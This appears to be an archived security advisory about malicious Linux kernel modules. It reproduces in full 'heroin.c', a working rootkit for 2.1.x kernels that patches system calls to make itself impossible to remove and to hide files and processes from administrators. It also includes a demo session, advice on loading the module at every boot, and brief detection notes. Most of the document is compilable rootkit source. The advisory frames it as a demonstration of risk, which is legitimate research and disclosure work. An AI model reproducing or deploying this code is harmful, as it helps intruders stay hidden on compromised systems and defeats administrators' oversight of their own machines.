COMMAND
malicious Linux modules
SYSTEMS AFFECTED
Linux (2.1.x kernels)
PROBLEM
Runar Jensen posted following. As Halflife demonstrated in Phrack
50 with his linspy project, it is trivial to patch any system call
under Linux from within a module. This means that once your system
has been compromised at the root level, it is possible for an
intruder to hide completely _without_ modifying any binaries or
leaving any visible backdoors behind. Because such tools are
likely to be in use within the hacker community already, Jensen
decided to publish a piece of code to demonstrate the potentials
of a malicious module.
The following piece of code is a fully working Linux module for
2.1 kernels that patches the getdents(), kill(), read() and
query_module() calls. Once loaded, the module becomes invisible
to lsmod and a dump of /proc/modules by modifying the output of
every query_module() call and every read() call accessing
/proc/modules. Apparently rmmod also calls query_module() to list
all modules before attempting to remove the specified module, and
will therefore claim that the module does not exist even if you
know its name. The output of any getdents() call is modified to
hide any files or directories starting with a given string,
leaving them accessible only if you know their exact names. It
also hides any directories in /proc matching pids that have a
specified flag set in its internal task structure, allowing a user
with root access to hide any process (and its children, since the
task structure is duplicated when the process does a fork()). To
set this flag, simply send the process a signal 31 which is
caught and handled by the patched kill() call.
To demonstrate the effects...
[root@image:~/test]# ls -l
total 3
-rw------- 1 root root 2832 Oct 8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
-r-------- 1 root root 0 Oct 8 16:54 environ
lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
dr-x------ 1 root root 0 Oct 8 16:54 fd
pr--r--r-- 1 root root 0 Oct 8 16:54 maps
-rw------- 1 root root 0 Oct 8 16:54 mem
lrwx------ 1 root root 0 Oct 8 16:54 root -> /
-r--r--r-- 1 root root 0 Oct 8 16:53 stat
-r--r--r-- 1 root root 0 Oct 8 16:54 statm
-r--r--r-- 1 root root 0 Oct 8 16:54 status
[root@image:~/test]#
The implications should be obvious. Once a compromise has taken
place, nothing can be trusted, the operating system included. A
module such as this could be placed in
/lib/modules/<kernel_ver>/default to force it to be loaded after
every reboot, or put in place of a commonly used module and in
turn have it load the required module for an added level of
protection. Combined with a reasonably obscure remote backdoor it
could remain undetected for long periods of time unless the
system administrator knows what to look for. It could even hide
the packets going to and from this backdoor from the kernel
itself to prevent a local packet sniffer from seeing them. Exploit
code follows:
/*
* heroin.c
*
* Runar Jensen <zarq@opaque.org>
*
* This Linux kernel module patches the getdents(), kill(), read()
* and query_module() system calls to demonstrate the potential
* dangers of the way modules have full access to the entire
* kernel.
*
* Once loaded, the module becomes invisible and can not be
* removed with rmmod. Any files or directories starting with the
* string defined by MAGIC_PREFIX appear to disappear, and sending
* a signal 31 to any process as root effectively hides it and all
* its future children.
*
* This code should compile cleanly and work with most (if not
* all) recent 2.1.x kernels, and has been tested under 2.1.44 and
* 2.1.57. It will not compile as is under 2.0.30, since 2.0.30
* lacks the query_module() function.
*
* Compile with:
* gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
*/
#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>
#define MAGIC_PREFIX "heroin"
#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31
int errno;
static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
extern void *sys_call_table[];
int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if(*ptr < '0' || *ptr > '9')
return(-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return(res);
}
void mybcopy(char *src, char *dst, unsigned int num)
{
while(num--)
*(dst++) = *(src++);
}
int mystrcmp(char *str1, char *str2)
{
while(*str1 && *str2)
if(*(str1++) != *(str2++))
return(-1);
return(0);
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;
do {
if(task->pid == pid)
return(task);
task = task->next_task;
} while(task != current);
return(NULL);
}
int is_invisible(pid_t pid)
{
struct task_struct *task;
if((task = find_task(pid)) == NULL)
return(0);
if(task->flags & PF_INVISIBLE)
return(1);
return(0);
}
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
int res;
int proc = 0;
struct inode *dinode;
char *ptr = (char *)dirp;
struct dirent *curr;
struct dirent *prev = NULL;
res = (*original_getdents)(fd, dirp, count);
if(!res)
return(res);
if(res == -1)
return(-errno);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
proc = 1;
while(ptr < (char *)dirp + res) {
curr = (struct dirent *)ptr;
if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
(proc && is_invisible(myatoi(curr->d_name)))) {
if(curr == dirp) {
res -= curr->d_reclen;
mybcopy(ptr + curr->d_reclen, ptr, res);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else
prev = curr;
ptr += curr->d_reclen;
}
return(res);
}
int hacked_kill(pid_t pid, int sig)
{
int res;
struct task_struct *task = current;
if(sig != SIGINVISI) {
res = (*original_kill)(pid, sig);
if(res == -1)
return(-errno);
return(res);
}
if((task = find_task(pid)) == NULL)
return(-ESRCH);
if(current->uid && current->euid)
return(-EPERM);
task->flags |= PF_INVISIBLE;
return(0);
}
int hacked_read(int fd, char *buf, size_t count)
{
int res;
char *ptr, *match;
struct inode *dinode;
res = (*original_read)(fd, buf, count);
if(res == -1)
return(-errno);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
return(res);
ptr = buf;
while(ptr < buf + res) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
mybcopy(ptr, match, (buf + res) - ptr);
res = res - (ptr - match);
return(res);
}
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
}
return(res);
}
int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
int res;
int cnt;
char *ptr, *match;
res = (*original_query_module)(name, which, buf, bufsize, ret);
if(res == -1)
return(-errno);
if(which != QM_MODULES)
return(res);
ptr = buf;
for(cnt = 0; cnt < *ret; cnt++) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr)
ptr++;
ptr++;
mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
(*ret)--;
return(res);
}
while(*ptr)
ptr++;
ptr++;
}
return(res);
}
int init_module(void)
{
original_getdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = hacked_getdents;
original_kill = sys_call_table[SYS_kill];
sys_call_table[SYS_kill] = hacked_kill;
original_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = hacked_read;
original_query_module = sys_call_table[SYS_query_module];
sys_call_table[SYS_query_module] = hacked_query_module;
return(0);
}
void cleanup_module(void)
{
sys_call_table[SYS_getdents] = original_getdents;
sys_call_table[SYS_kill] = original_kill;
sys_call_table[SYS_read] = original_read;
sys_call_table[SYS_query_module] = original_query_module;
}
SOLUTION
So how can it be detected? In this case, since the number of
processes is limited, one could try to open every possible process
directory in /proc and look for the ones that do not show up
otherwise. Using readdir() instead of getdents() will not work,
since it appears to be just a wrapper for getdents(). In short,
trying to locate something like this without knowing exactly what
to look for is rather futile if done in userspace... 2.0.34
fixed this.